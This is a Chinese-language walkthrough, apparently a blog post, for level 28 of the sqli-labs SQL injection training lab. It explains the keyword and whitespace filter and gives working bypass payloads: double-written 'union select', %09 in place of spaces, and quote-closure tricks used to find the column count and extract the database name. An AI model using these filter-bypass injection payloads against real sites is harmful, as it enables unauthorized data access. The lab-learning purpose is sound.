当前位置: 首页 > news >正文

sqli-labs第二十八关——Trick with ‘union select‘

一:分析

这一关的提示和上一关一样,所以我们查看源码,屏蔽了注释符,空格,union,select等关键词

 分析这一条源码的几个新增添符号

\s:

匹配任何的空白字符(普通空格,\t(%09),\n(%0a),\r(%0d)等),只屏蔽空白符号,不屏蔽其url编码

+:

匹配前一个字符一次或者多次:这里的前一个字符是\s,也就是说明,以下代码都将被过滤

union select(单空格) 
union      select(多空格)
union%09%0aselect(混合空白符)

/i:

使得匹配忽略大小写,所以这一关也不能用大小写绕过注入

conclusion1:

这一关我们用 ||’ 代替注释符,双写绕过union select 的过滤,空格可以用括号闭合

举几个括号闭合的例子:

union select 1,2,3--+
union(select(1),(2),(3))--+and 1=1--+
and(1)=(1)--+order by 2--+
order(by(2))--+

加括号的规则:

1.关键词直接用括号连起来

union select
union(select

2.参数用括号包裹,运算符不动

1,2,3
(1),(2),(3)

conclution2: 注释符被过滤时的代替方案

1:||’1 逻辑闭合

2:and ('1'=%271

二:判断注入类型:

尝试?id=1',?id=1'),这两种类型的时候报错

尝试闭合,单引号闭合成功

三:开始攻击

 1.用union select查找列数(两种方法)

嵌套一个union select

?id=-1')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

 回显失败,我们观察下面的提示,发现输入的 ?id=-1 被过滤成了 ?id=1

于是尝试?id=999 

?id=-1')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

成功回显

?id=999')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

2.爆数据库名

?id=999')%09ununion%09selection%09select%091,database(),3%09and%09('1'='1

 ❀❀❀ 完结撒花!!!❀❀❀

相关文章:

  • STM32G0xx基于串口(UART)Ymodem协议实现OTA升级包括Bootloader、上位机、应用程序
  • 语音识别——文本转语音
  • leetcode617.合并二叉树:递归思想下的树结构融合艺术
  • [yolov11改进系列]基于yolov11引入特征增强注意力机制ADNet的python源码+训练源码
  • 深度学习入门6:pytorch卷积神经网络CNN实现手写数字识别准确率99%
  • 从万有引力到深度学习,认识模型思维
  • 地理卷积神经网络加权回归模型的详细实现方案
  • 电池预测 | 第28讲 基于CNN-GRU的锂电池剩余寿命预测
  • java性能分析工具(perfino和Jprofiler简单对比)
  • LSTM三个门控机制详解
  • 深度学习在图像识别中的创新应用及其挑战
  • 技术视界 | 打造“有脑有身”的机器人:ABC大脑架构深度解析(上)
  • mysql主从复制搭建
  • 第4章-操作系统知识
  • MSSQL + SMB 捕获 NTLM 哈希和中继攻击
  • 华为OD机试真题——荒岛求生(2025B卷:200分)Java/python/JavaScript/C/C++/GO最佳实现
  • 2025.05.26【Wordcloud】词云图绘制技巧
  • 电脑装的数据越多,会不会越重
  • Word VBA 教程|一键将 PNG/JPG 图片插入每一页(浮于文字上方,固定大小)
  • 【PC网上邻居--1】基于Samba协议的局域网文件共享系统设计与实现
  • 网站广告赚钱/seo优化自学
  • 建网站做日租房/新闻小学生摘抄
  • 网站设计优化/深圳网络推广专员
  • 福田企业网站建设/北京seo推广优化
  • 淘宝网做网站/想做app推广项目在哪找
  • 淮南建设网站/杭州最好的电商培训机构